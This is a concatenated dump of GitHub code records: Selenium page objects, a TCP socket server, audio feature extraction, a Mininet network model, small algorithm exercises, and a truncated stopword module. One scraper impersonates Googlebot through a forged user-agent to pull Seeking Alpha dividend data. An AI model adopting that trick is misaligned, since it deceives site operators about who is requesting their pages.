visualizations.pic_data_visualization(\"heart\") \n elif data_answer['data'] == 'Tracing Heart data set (with outline)':\n visualizations.pic_data_visualization(\"heart-guide\") \n\n if goal_answer['goal'] == 'Only run quantative tests':\n if data_answer['data'] == 'All data sets from original paper':\n analysis.mammoth_analyse()\n analysis.brain_analyse()\n analysis.swissroll_analyse()\n analysis.stanford_analyse()\n\n elif data_answer['data'] == 'All new data sets':\n analysis.pic_data_analyse(\"hand-images-1\")\n analysis.pic_data_analyse(\"hand-images-2\")\n analysis.pic_data_analyse(\"heart\")\n analysis.pic_data_analyse(\"heart-guide\")\n analysis.circle_analyse()\n \n elif data_answer['data'] == 'Mammoth data set (from original paper)':\n analysis.mammoth_analyse()\n elif data_answer['data'] == 'Brain Artery Tree data set (from original paper)':\n analysis.brain_analyse()\n elif data_answer['data'] == 'Stanford Faces data set (from original paper)':\n analysis.stanford_analyse()\n elif data_answer['data'] == 'Swiss Roll with Holes data set (from original paper)':\n analysis.swissroll_analyse()\n elif data_answer['data'] == 'Collection of circles ambient in 3D':\n analysis.circle_analyse()\n elif data_answer['data'] == 'First hand data set':\n analysis.pic_data_analyse(\"hand-images-1\") \n elif data_answer['data'] == 'Second hand data set':\n analysis.pic_data_analyse(\"hand-images-2\") \n elif data_answer['data'] == 'Tracing Heart data set':\n analysis.pic_data_analyse(\"heart\") \n elif data_answer['data'] == 'Tracing Heart data set (with outline)':\n analysis.pic_data_analyse(\"heart-guide\") \n \n\n print(\"Check the figures folder for the output!\")\n\n ","repo_name":"sliemelela/TDA2022DIPOLE","sub_path":"runme.py","file_name":"runme.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"11704370939","text":"from time import sleep\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webdriver import WebDriver\n\n# 这是一个添加成员的PO\nfrom pytest_web.selenium_wework_main.page.base_page import BasePage\n\n\nclass Addmenber(BasePage):\n\n def add_menber(self):\n # sendkeys\n self.find(By.ID, \"username\").send_keys('name219')\n # self.find(By.ID, \"memberAdd_english_name\").send_keys(\"3211208\")\n self.find(By.ID, \"memberAdd_acctid\").send_keys(\"zhang1hao208\")\n self.find(By.ID, \"memberAdd_phone\").send_keys(\"13121111387\")\n self.find(By.CSS_SELECTOR, '.js_btn_save').click()\n\n def page(self):\n # 得到当前页的分页的数据 获取到当前分页的文本 1/10\n content: str = self.find(By.CSS_SELECTOR, '.ww_pageNav_info_text').text\n # 使用python自带的分割 得到页数的 当前页和总页数的数据 使用斜杠作为分隔符 切割一次得到一个list list[0]=1 list[1]=10\n # 强行把得到的list分页数据 转换为int类型 使用for循环遍历list数据改为数组\n return [int(x) for x in content.split('/', 1)]\n\n def get_menber(self, value): # 传值做判断 不用每一个都把数据追加到list里面去\n self.wait_for((By.CSS_SELECTOR, '.member_colRight_memberTable_td:nth-child(2)'))\n cur_page, total_page = self.page()\n # 提取出来之后使用死循环遍历数据\n while True:\n # 获取 通讯录中的姓名列\n elements = self.finds(By.CSS_SELECTOR, '.member_colRigh t_memberTable_td:nth-child(2)')\n # 使用循环得到每一页的title 也就是姓名的数据\n for element in elements: # 使用判断 如果获取元素组中有传进来的那个元素 直接返回True\n if value == element.get_attribute(\"title\"):\n return True\n # 更新当前页数据\n cur_page = self.page()[0]\n # 如果当前页的数据等等于总页数 就说明到了页尾\n if cur_page == total_page:\n # 如果到了页尾都没找到这个元素 直接返回False 就是没有找到这个元素\n return False\n # 点击当前页面的分页数据 下一页的数据 如果不等于\n self.find(By.CSS_SELECTOR, '.js_next_page').click()\n # # 如果当前页的页数小于总页数\n # if cur_page < total_page:\n # # 就去替换当前页的数据 cur_page 更新当前页\n # cur_page= [int(x) for x in content.split('/', 1)][0]\n\n # for element in elements:\n # list.append(element.get_attribute(\"title\"))\n # return list\n # return [element.get_attribute(\"title\") for element in elements] #上面方式的简洁版本\n","repo_name":"aj1218/hogwarts_test","sub_path":"pytest_web/selenium_wework_main/page/add_menber.py","file_name":"add_menber.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"23279179735","text":"import socket\nimport threading\n\nheader = 64\nserver_name = socket.gethostbyname(socket.gethostname())\nport = 7777\naddress = (server_name, port)\ndisconnect_msg = \"!DISCONNECT\"\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(address)\n\n\ndef handle_client(conn, addr):\n print(f\"New Connection {addr} connected.\")\n connected = True\n while connected:\n msg_length = conn.recv(header).decode('utf-8')\n if msg_length:\n msg_length = int(msg_length)\n msg = conn.recv(msg_length).decode('utf-8')\n if msg == disconnect_msg:\n connected = False\n\n print(f\"{addr} - {msg}\")\n conn.send(\"Msg received.\".encode('utf-8'))\n\n conn.close()\n\ndef start():\n server.listen()\n print(f\"Server running on {server_name}\")\n while True:\n conn, addr = server.accept()\n thread = threading.Thread(target=handle_client, args=(conn, addr))\n thread.start()\n print(f\"Active connections {threading.activeCount()-1}\")\n\nprint(\"Server is starting...\")\nstart()","repo_name":"lucasestevesr/Python-TCP-socket","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"3176973729","text":"from selenium import webdriver\r\nfrom selenium.webdriver import Firefox\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom time import sleep\r\nimport json\r\nimport timeit\r\n\r\n\r\ndef get_dividend_json(symbol):\r\n options = webdriver.FirefoxOptions()\r\n options.add_argument('--headless')\r\n\r\n # GoogleBot User Agent\r\n options.add_argument(\r\n f\"--user-agent=Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html\")\r\n\r\n driver = webdriver.Firefox(options)\r\n driver.get(\"https://seekingalpha.com/symbol/\" +\r\n symbol+\"/dividends/scorecard\")\r\n sleep(1)\r\n price = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[1]/div/div[2]/span[1]').text.replace('$', \"\")\r\n dividend = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/section[3]/div/div[2]/div/div[1]/div[2]').text.replace('$', \"\")\r\n frequency = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/section[3]/div/div[2]/div/div[6]/div[2]').text\r\n driver.quit()\r\n dividend_json = json.dumps({'Price': float(price), 'Dividend Amount': float(\r\n dividend), 'Dividend Frequency': frequency})\r\n return dividend_json\r\n\r\n\r\n\"\"\"\r\nstart = timeit.default_timer()\r\nprint(get_dividendJSON(\"PSEC\"))\r\nstop = timeit.default_timer()\r\nprint(stop-start)\r\n\"\"\"\r\n","repo_name":"Zennou/DividendAPI","sub_path":"my_dividend_scraper.py","file_name":"my_dividend_scraper.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"16925746744","text":"import os\nimport sys\nsys.path.insert(1, os.path.join(sys.path[0], 'utils'))\nimport numpy as np\nimport argparse\nimport h5py\nimport librosa\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nimport time\nimport math\nimport pandas as pd\nimport random\n\nfrom utilities import (create_folder, read_audio, calculate_scalar_of_tensor, \n pad_truncate_sequence)\nimport config\n\n\nclass LogMelExtractor(object):\n def __init__(self, sample_rate, window_size, hop_size, mel_bins, fmin, fmax):\n '''Log mel feature extractor. \n \n Args:\n sample_rate: int\n window_size: int\n hop_size: int\n mel_bins: int\n fmin: int, minimum frequency of mel filter banks\n fmax: int, maximum frequency of mel filter banks\n '''\n \n self.window_size = window_size\n self.hop_size = hop_size\n self.window_func = np.hanning(window_size)\n \n self.melW = librosa.filters.mel(\n sr=sample_rate, \n n_fft=window_size, \n n_mels=mel_bins, \n fmin=fmin, \n fmax=fmax).T\n '''(n_fft // 2 + 1, mel_bins)'''\n\n def transform(self, audio):\n '''Extract feature of a singlechannel audio file. \n \n Args:\n audio: (samples,)\n \n Returns:\n feature: (frames_num, freq_bins)\n '''\n \n window_size = self.window_size\n hop_size = self.hop_size\n window_func = self.window_func\n \n # Compute short-time Fourier transform\n stft_matrix = librosa.core.stft(\n y=audio, \n n_fft=window_size, \n hop_length=hop_size, \n window=window_func, \n center=True, \n dtype=np.complex64, \n pad_mode='reflect').T\n '''(N, n_fft // 2 + 1)'''\n \n # Mel spectrogram\n mel_spectrogram = np.dot(np.abs(stft_matrix) ** 2, self.melW)\n \n # Log mel spectrogram\n logmel_spectrogram = librosa.core.power_to_db(\n mel_spectrogram, ref=1.0, amin=1e-10, \n top_db=None)\n \n logmel_spectrogram = logmel_spectrogram.astype(np.float32)\n \n return logmel_spectrogram\n\n\ndef read_metadata(metadata_path, data_type, mini_data):\n '''Read metadata csv file. \n \n Args:\n metadata_path: string\n data_type: 'train' | 'validate'\n mini_data: bool, set True for debugging on a small part of data\n \n Returns:\n meta_dict\n '''\n\n fine_labels = config.fine_labels\n fine_classes_num = config.fine_classes_num\n fine_lb_to_idx = config.fine_lb_to_idx\n coarse_labels = config.coarse_labels\n coarse_classes_num = config.coarse_classes_num\n coarse_lb_to_idx = config.coarse_lb_to_idx\n\n # Read csv data\n assert data_type in ['train', 'validate']\n df = pd.read_csv(metadata_path, sep=',')\n df = df[df['split'] == data_type].reset_index()\n \n # Each audio may be annotated by multiple labelers. So remove duplicate \n # audio names. \n audio_names = np.array(sorted(list(set(df['audio_filename']))))\n \n if mini_data:\n random_state = np.random.RandomState(1234)\n random_state.shuffle(audio_names)\n audio_names = audio_names[0 : 10]\n\n fine_targets = []\n coarse_targets = []\n \n for audio_name in audio_names:\n # One audio_name may have multiple labelers\n indexes = df.index[df['audio_filename'] == audio_name]\n fine_target = np.zeros(fine_classes_num)\n coarse_target = np.zeros(coarse_classes_num)\n \n # Aggregating annotation of multiple labelers\n for index in indexes:\n for fine_label in fine_labels:\n class_idx = fine_lb_to_idx[fine_label]\n label_type = '{}_presence'.format(fine_label)\n fine_target[class_idx] += df.iloc[index][label_type]\n \n for coarse_label in coarse_labels:\n class_idx = coarse_lb_to_idx[coarse_label]\n label_type = '{}_presence'.format(coarse_label)\n coarse_target[class_idx] += df.iloc[index][label_type]\n \n # Annotation of an audio is the average annotation of multiple labelrs\n fine_target /= len(indexes)\n coarse_target /= len(indexes)\n \n fine_targets.append(fine_target)\n coarse_targets.append(coarse_target)\n \n fine_targets = np.array(fine_targets)\n coarse_targets = np.array(coarse_targets)\n \n meta_dict = {\n 'audio_name': audio_names, \n 'fine_target': fine_targets, \n 'coarse_target': coarse_targets}\n\n return meta_dict\n\n\ndef read_evaluate_metadata(audios_dir, mini_data):\n audio_names = sorted(os.listdir(audios_dir))\n\n if mini_data:\n audio_names = audio_names[0 : 10]\n\n meta_dict = {'audio_name': audio_names}\n \n return meta_dict\n\n\ndef calculate_feature_for_all_audio_files(args):\n '''Calculate feature of audio files and write out features to a single hdf5 \n file. \n \n Args:\n dataset_dir: string\n workspace: string\n data_type: 'train' | 'validate' | 'evaluate'\n mini_data: bool, set True for debugging on a small part of data\n '''\n \n # Arguments & parameters\n dataset_dir = args.dataset_dir\n data_type = args.data_type\n workspace = args.workspace\n mini_data = args.mini_data\n \n sample_rate = config.sample_rate\n window_size = config.window_size\n hop_size = config.hop_size\n mel_bins = config.mel_bins\n fmin = config.fmin\n fmax = config.fmax\n frames_per_second = config.frames_per_second\n frames_num = config.frames_num\n total_samples = config.total_samples\n \n # Paths\n if mini_data:\n prefix = 'minidata_'\n else:\n prefix = ''\n \n metadata_path = os.path.join(dataset_dir, 'annotations.csv')\n\n if data_type in ['train', 'validate']:\n audios_dir = os.path.join(dataset_dir, data_type)\n elif data_type == 'evaluate':\n audios_dir = os.path.join(dataset_dir, 'audio-eval')\n \n feature_path = os.path.join(workspace, 'features', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n create_folder(os.path.dirname(feature_path))\n \n # Feature extractor\n feature_extractor = LogMelExtractor(\n sample_rate=sample_rate, \n window_size=window_size, \n hop_size=hop_size, \n mel_bins=mel_bins, \n fmin=fmin, \n fmax=fmax)\n\n # Read metadata\n print('Extracting features of all audio files ...')\n extract_time = time.time()\n \n if data_type in ['train', 'validate']:\n meta_dict = read_metadata(metadata_path, data_type, mini_data)\n elif data_type == 'evaluate':\n meta_dict = read_evaluate_metadata(audios_dir, mini_data)\n\n # Hdf5 containing features and targets\n hf = h5py.File(feature_path, 'w')\n\n hf.create_dataset(\n name='audio_name', \n data=[audio_name.encode() for audio_name in meta_dict['audio_name']], \n dtype='S32')\n\n if 'fine_target' in meta_dict.keys():\n hf.create_dataset(\n name='fine_target', \n data=meta_dict['fine_target'], \n dtype=np.float32)\n \n if 'coarse_target' in meta_dict.keys():\n hf.create_dataset(\n name='coarse_target', \n data=meta_dict['coarse_target'], \n dtype=np.float32)\n\n hf.create_dataset(\n name='feature', \n shape=(0, frames_num, mel_bins), \n maxshape=(None, frames_num, mel_bins), \n dtype=np.float32)\n\n for (n, audio_name) in enumerate(meta_dict['audio_name']):\n audio_path = os.path.join(audios_dir, audio_name)\n print(n, audio_path)\n \n # Read audio\n (audio, _) = read_audio(\n audio_path=audio_path, \n target_fs=sample_rate)\n\n # Pad or truncate audio recording\n audio = pad_truncate_sequence(audio, total_samples)\n \n # Extract feature\n feature = feature_extractor.transform(audio)\n \n # Remove the extra frames caused by padding zero\n feature = feature[0 : frames_num]\n \n hf['feature'].resize((n + 1, frames_num, mel_bins))\n hf['feature'][n] = feature\n \n hf.close()\n \n print('Write hdf5 file to {} using {:.3f} s'.format(\n feature_path, time.time() - extract_time))\n \n \ndef calculate_scalar(args):\n '''Calculate and write out scalar of features. \n \n Args:\n workspace: string\n data_type: 'train'\n mini_data: bool, set True for debugging on a small part of data\n '''\n\n # Arguments & parameters\n data_type = args.data_type\n workspace = args.workspace\n mini_data = args.mini_data\n \n mel_bins = config.mel_bins\n frames_per_second = config.frames_per_second\n \n # Paths\n if mini_data:\n prefix = 'minidata_'\n else:\n prefix = ''\n \n feature_path = os.path.join(workspace, 'features', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n \n scalar_path = os.path.join(workspace, 'scalars', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n create_folder(os.path.dirname(scalar_path))\n \n # Load data\n load_time = time.time()\n \n with h5py.File(feature_path, 'r') as hf:\n features = hf['feature'][:]\n \n # Calculate scalar\n features = np.concatenate(features, axis=0)\n (mean, std) = calculate_scalar_of_tensor(features)\n \n with h5py.File(scalar_path, 'w') as hf:\n hf.create_dataset('mean', data=mean, dtype=np.float32)\n hf.create_dataset('std', data=std, dtype=np.float32)\n \n print('All features: {}'.format(features.shape))\n print('mean: {}'.format(mean))\n print('std: {}'.format(std))\n print('Write out scalar to {}'.format(scalar_path))\n \n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser(description='')\n subparsers = parser.add_subparsers(dest='mode')\n\n # Calculate feature for all audio files\n parser_logmel = subparsers.add_parser('calculate_feature_for_all_audio_files')\n parser_logmel.add_argument('--dataset_dir', type=str, required=True, help='Directory of dataset.')\n parser_logmel.add_argument('--workspace', type=str, required=True, help='Directory of your workspace.')\n parser_logmel.add_argument('--data_type', type=str, choices=['train', 'validate', 'evaluate'], required=True)\n parser_logmel.add_argument('--mini_data', action='store_true', default=False, help='Set True for debugging on a small part of data.')\n\n # Calculate scalar\n parser_scalar = subparsers.add_parser('calculate_scalar')\n parser_scalar.add_argument('--data_type', type=str, choices=['train'], required=True, help='Scalar is calculated on train data.')\n parser_scalar.add_argument('--workspace', type=str, required=True, help='Directory of your workspace.')\n parser_scalar.add_argument('--mini_data', action='store_true', default=False, help='Set True for debugging on a small part of data.')\n \n # Parse arguments\n args = parser.parse_args()\n \n if args.mode == 'calculate_feature_for_all_audio_files':\n calculate_feature_for_all_audio_files(args)\n \n elif args.mode == 'calculate_scalar':\n calculate_scalar(args)\n \n else:\n raise Exception('Incorrect arguments!')","repo_name":"qiuqiangkong/dcase2019_task5","sub_path":"utils/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":11573,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"24"} +{"seq_id":"28044606192","text":"# Model of Gates Network for Mininet\n# Craig Riecke, CoSciN Developer/Analyst, June, 2015\n#\n# To make this work:\n# - You need to be at Mininet > 2.2, which you should build from source if on Ubuntu 14.04 (the\n# latest dpkg is Mininet 2.1). This will make the links use the right ports instead of \n# sequentially renumbering them\n# - You need vlan package, via \"sudo apt-get install vlan\"\n# - You also need DHCP server and client, packages udhcpd and udhcpc \n# - You NEED OpenVSwitch = 2.1. Install this from mininet - util/install.sh -V 2.1.3 \n# - Version 2.0.2, the one that comes in Ubuntu 14.04, has a \n# bug which sends a truncated packet with packet_in, but with buffer_id=-1 (meaning no buffer)\n# Since you don't have all the data, it's impossible to send out the correct data in packet_out.\n# This really affects DHCP. \n# - Version 2.3 installs a Table Miss rule to drop all packets, and you can't get rid of it.\n# Dell switches are configured to Table-Miss to the controller, and that's REQUIRED because of\n# the insane implementation of ACL and L2/L3 tables. So your scripts won't work here. \n\nimport re\nimport sys\nfrom networkx import *\nimport pygraphviz as pgv\n\n# Mininet imports\nfrom mininet.log import lg, info, error, debug, output\nfrom mininet.util import quietRun\nfrom mininet.node import Host, OVSSwitch, RemoteController\nfrom mininet.cli import CLI\nfrom mininet.net import Mininet\n\n\n# Mercilessly copied from https://github.com/mininet/mininet/blob/master/examples/vlanhost.py\n#\nclass VLANHost( Host ):\n \"Host connected to VLAN interface\"\n\n def config( self, vlan=100, **params ):\n \"\"\"Configure VLANHost according to (optional) parameters:\n vlan: VLAN ID for default interface\"\"\"\n\n r = super( VLANHost, self ).config( **params )\n\n intf = self.defaultIntf()\n # remove IP from default, \"physical\" interface\n self.cmd( 'ifconfig %s inet 0' % intf )\n # create VLAN interface\n self.cmd( 'vconfig add %s %d' % ( intf, vlan ) )\n # assign the host's IP to the VLAN interface\n self.cmd( 'ifconfig %s.%d inet %s' % ( intf, vlan, params['ip'] ) )\n # update the intf name and host's intf map\n newName = '%s.%d' % ( intf, vlan )\n # update the (Mininet) interface to refer to VLAN interface name\n intf.name = newName\n # add VLAN interface to host's name to intf map\n self.nameToIntf[ newName ] = intf\n\n return r\n\n# DHCP server functions and data\n\nDNSTemplate = \"\"\"\nstart 128.253.154.100\nend 128.253.154.250\noption subnet 255.255.255.0\noption domain local\noption lease 3600 # seconds\n\"\"\"\n\ndef makeDHCPconfig( filename, intf, gw, dns ):\n \"Create a DHCP configuration file\"\n config = (\n 'interface %s' % intf,\n DNSTemplate,\n 'option router %s' % gw,\n 'option dns %s' % dns,\n '' )\n with open( filename, 'w' ) as f:\n f.write( '\\n'.join( config ) )\n\ndef startDHCPserver( host, gw, dns ):\n \"Start DHCP server on host with specified DNS server\"\n info( '* Starting DHCP server on', host, 'at', host.IP(), '\\n' )\n dhcpConfig = '/tmp/%s-udhcpd.conf' % host\n makeDHCPconfig( dhcpConfig, host.defaultIntf(), gw, dns )\n host.cmd( 'udhcpd -f', dhcpConfig,\n '1>/tmp/%s-dhcp.log 2>&1 &' % host )\n\ndef start(ip=\"127.0.0.1\",port=6633):\n#def start(ip=\"127.0.0.1\",port=6653):\n\n ctrlr = lambda n: RemoteController(n, ip=ip, port=port, inNamespace=False)\n net = Mininet(switch=OVSSwitch, controller=ctrlr, autoStaticArp=False)\n c1 = net.addController('c1')\n\n gates_agraph = pgv.AGraph(\"simplified_gates_topology.dot\")\n for sw in gates_agraph.nodes():\n net.addSwitch(sw, dpid = hex( int(sw.attr['dpid']) )[2:])\n\n for link in gates_agraph.edges():\n (src_switch, dst_switch) = link\n net.addLink(src_switch, dst_switch, int(link.attr['src_port']), int(link.attr['dport']) )\n\n # Only one host and an Internet Router disguised as a host for now (because it's not part of the OF network)\n h0 = net.addHost('h0', cls=VLANHost, mac='d4:c9:ef:b2:1b:80', ip='128.253.154.1', vlan=1356)\n net.addLink(\"s_bdf\", h0, 1, 0)\n\n # To test DHCP functionality, ucnomment this line and comment out the fixed IP line. Then when mininet\n # starts you issue:\n # mininet> h1 dhclient -v -d -1 h1-eth0.1356\n # and make sure it gets its IP by going through all protocol steps.\n #h1 = net.addHost('h1', cls=VLANHost, mac='00:00:01:00:00:11', ip='0.0.0.0', vlan=1356)\n h1 = net.addHost('h1', cls=VLANHost, mac='00:00:01:00:00:11', ip='128.253.154.100', vlan=1356)\n net.addLink(\"s_f3a\", h1, 32, 0)\n\n # h4{a,b,c} are wireless nodes supposedly hooked up to a dumb AP. You can't just hook them up\n # to the same mininet port. Y \n h4a = net.addHost('h4a', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n net.addLink(\"s_f3a\", h4a, 33, 0)\n #net.addHost('h4b', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n #net.addHost('h4c', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n\n # h2 is a syslab PC\n h2 = net.addHost('h2', cls=VLANHost, mac='00:00:01:00:00:13', ip='128.253.154.102', vlan=1356)\n net.addLink(\"s_lab_r6\", h2, 1, 0)\n\n # MAC spoofing attempt of h2\n h3 = net.addHost('h3', cls=VLANHost, mac='00:00:01:00:00:13', ip='128.253.154.102', vlan=1356)\n net.addLink(\"s_lab_r6\", h3, 2, 0)\n\n ###### Start of static Mininet epilogue ######\n # Set up logging etc.\n lg.setLogLevel('info')\n lg.setLogLevel('output')\n\n # Start the network\n net.start()\n # Start the DHCP server on Internet Router. This will actually be a DHCP proxy in the real setup. \n #startDHCPserver( h0, gw='128.253.154.1', dns='8.8.8.8')\n\n\n # Enter CLI mode\n output(\"Network ready\\n\")\n output(\"Press Ctrl-d or type exit to quit\\n\")\n CLI(net)\n # net.stop()\n\nstart()","repo_name":"coscin/gates","sub_path":"gates_mininet.py","file_name":"gates_mininet.py","file_ext":"py","file_size_in_byte":5831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"74994230143","text":"\nimport sys\n\n\ndef dfs(x,y):\n global cnt\n if x<0 or x>=n or y<0 or y>=m:\n return False\n if array[x][y] == 0:\n array[x][y] = 1\n cnt+=1\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n dfs(nx,ny)\n return True\n return False\n\nsys.setrecursionlimit(10**6)\ndx = [-1,1,0,0]\ndy = [0,0,-1,1]\nn,m,k = map(int,input().split())\narray = [[0 for _ in range(m)] for _ in range(n)]\nfor i in range(k):\n start_x,start_y,end_x,end_y = map(int,input().split())\n for j in range(start_x,end_x):\n for k in range(start_y,end_y):\n array[k][j] = 1\nresult = []\ncount = 0\nfor i in range(n):\n for k in range(m):\n cnt = 0\n if dfs(i,k) == True:\n result.append(cnt)\n count+=1\nresult.sort()\nprint(count)\nfor i in result:\n print(i,end=\" \")","repo_name":"JangYunSeong/Algorithm","sub_path":"bfs15.py","file_name":"bfs15.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"4871415579","text":"from files.Tree_Nodes import *\r\nfrom queue import LifoQueue\r\n\r\ndef expr(prev_precedence):\r\n lhs = term()\r\n while(len(lexeme_list) > 0):\r\n op = lexeme_list.pop(0)\r\n if(op == \"RPAREN\"):\r\n break\r\n current_precedence = precedence(op)\r\n if(current_precedence < prev_precedence):\r\n lexeme_list.insert(0, op)\r\n break\r\n elif(len(lexeme_list) > 0):\r\n if(association(op) == \"left\"):\r\n rhs = expr(current_precedence + 1)\r\n else:\r\n rhs = expr(current_precedence)\r\n lhs = ExpressionNode(op, lhs, rhs) \r\n return lhs\r\n\r\n\r\ndef term():\r\n value = lexeme_list.pop(0)\r\n if(value[0:6] == \"NUMBER\"):\r\n return NumberNode(float(value[7:len(value) - 1]))\r\n elif(value == \"PI\"):\r\n return NumberNode(pi)\r\n elif(value == \"E\"):\r\n return NumberNode(e)\r\n elif(value == \"LPAREN\"):\r\n node = expr(-1)\r\n return node\r\n \r\n\r\ndef precedence(op):\r\n if(op in {\"PLUS\", \"MINUS\"}):\r\n return 0\r\n if(op in {\"TIMES\", \"DIVIDES\"}):\r\n return 1\r\n if(op == \"POWER\"):\r\n return 2\r\n else:\r\n return -1\r\n\r\ndef association(op):\r\n if(op in {\"PLUS\", \"MINUS\", \"TIMES\", \"DIVIDES\"}):\r\n return \"left\"\r\n if(op in {\"POWER\"}):\r\n return \"right\"\r\n\r\ndef build_tree(list1):\r\n global lexeme_list\r\n lexeme_list = list1\r\n return expr(-1)","repo_name":"nrbellman/MU_Calculator","sub_path":"files/Build_tree.py","file_name":"Build_tree.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"24"} +{"seq_id":"18675118205","text":"# dh.py\r\n#\r\n# digital history module from Turkel & MacEachern,\r\n# The Programming Historian (2007-08)\r\n#\r\n# contents:\r\n#\r\n# stopwords LIST\r\n# normalizeFrenchAccents(STRING) -> STRING\r\n# stripTags(HTML_STRING) -> TEXT_STRING\r\n# stripNonAlphaNum(TEXT_STRING) -> ALPHANUMERIC_STRING\r\n# webPageToText(URL_STRING) -> LOWERCASE_TEXT_STRING\r\n# removeStopwords(WORD_LIST, STOPWORD_LIST) -> WORD_LIST\r\n# wordListToFreqDict(WORD_LIST) -> DICTIONARY(WORD -> FREQUENCY)\r\n# sortFreqDict(DICTIONARY(WORD -> FREQUENCY)) -> SORTED_DICTIONARY(WORD -> FREQUENCY)\r\n# reSortFreqDictAlpha(DICTIONARY(WORD -> FREQUENCY)) -> SORTED_DICTIONARY(WORD -> FREQUENCY)\r\n# wrapStringInHTML(STRING, URL_STRING, STRING) -> HTML_STRING\r\n# keywordListToGoogleSearchLink(WORD_LIST, STRING) -> HTML_STRING\r\n# undecoratedHyperlink(URL_STRING, STRING) -> HTML_CSS_STRING\r\n# getNGrams(WORD_LIST, INTEGER) -> NGRAM_LIST\r\n# nGramsToKWICDict(NGRAM_LIST) -> DICTIONARY(KEYWORD_STRING -> KWIC_LIST)\r\n# prettyPrintKWIC(KWIC_LIST) -> STRING\r\n# defaultCSSDiv(STRING, STRING) -> HTML_CSS_STRING\r\n# scaledFontSizeSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# scaledFontShadeSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# scaledFontHeatmapSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# getFileNames(STRING) -> LIST\r\n# localWebPageToText(HTML_STRING) -> STRING\r\n# replaceStopwords(WORD_LIST, STOPWORD_LIST, STRING) -> WORD_LIST\r\n\r\nstopwords = ['a', 'about', 'above', 'across', 'after', 'afterwards']\r\nstopwords += ['again', 'against', 'all', 'almost', 'alone', 'along']\r\nstopwords += ['already', 'also', 'although', 'always', 'am', 'among']\r\nstopwords += ['amongst', 'amoungst', 'amount', 'an', 'and', 'another']\r\nstopwords += ['any', 'anyhow', 'anyone', 'anything', 'anyway', 'anywhere']\r\nstopwords += ['are', 'around', 'as', 'at', 'back', 'be', 'became']\r\nstopwords += ['because', 'become', 'becomes', 'becoming', 'been']\r\nstopwords += ['before', 'beforehand', 'behind', 'being', 'below']\r\nstopwords += ['beside', 'besides', 'between', 'beyond', 'bill', 'both']\r\nstopwords += ['bottom', 'but', 'by', 'call', 'can', 'cannot', 'cant']\r\nstopwords += ['co', 'computer', 'con', 'could', 'couldnt', 'cry', 'de']\r\nstopwords += ['describe', 'detail', 'did', 'do', 'done', 'down', 'due']\r\nstopwords += ['during', 'each', 'eg', 'eight', 'either', 'eleven', 'else']\r\nstopwords += ['elsewhere', 'empty', 'enough', 'etc', 'even', 'ever']\r\nstopwords += ['every', 'everyone', 'everything', 'everywhere', 'except']\r\nstopwords += ['few', 'fifteen', 'fifty', 'fill', 'find', 'fire', 'first']\r\nstopwords += ['five', 'for', 'former', 'formerly', 'forty', 'found']\r\nstopwords += ['four', 'from', 'front', 'full', 'further', 'get', 'give']\r\nstopwords += ['go', 'had', 'has', 'hasnt', 'have', 'he', 'hence', 'her']\r\nstopwords += ['here', 'hereafter', 'hereby', 'herein', 'hereupon', 'hers']\r\nstopwords += ['herself', 'him', 'himself', 'his', 'how', 'however']\r\nstopwords += ['hundred', 'i', 'ie', 'if', 'in', 'inc', 'indeed']\r\nstopwords += ['interest', 'into', 'is', 'it', 'its', 'itself', 'keep']\r\nstopwords += ['last', 'latter', 'latterly', 'least', 'less', 'ltd', 'made']\r\nstopwords += ['many', 'may', 'me', 'meanwhile', 'might', 'mill', 'mine']\r\nstopwords += ['more', 'moreover', 'most', 'mostly', 'move', 'much']\r\nstopwords += ['must', 'my', 'myself', 'name', 'namely', 'neither', 'never']\r\nstopwords += ['nevertheless', 'next', 'nine', 'no', 'nobody', 'none']\r\nstopwords += ['noone', 'nor', 'not', 'nothing', 'now', 'nowhere', 'of']\r\nstopwords += ['off', 'often', 'on','once', 'one', 'only', 'onto', 'or']\r\nstopwords += ['other', 'others', 'otherwise', 'our', 'ours', 'ourselves']\r\nstopwords += ['out', 'over', 'own', 'part', 'per', 'perhaps', 'please']\r\nstopwords += ['put', 'rather', 're', 's', 'same', 'see', 'seem', 'seemed']\r\nstopwords += 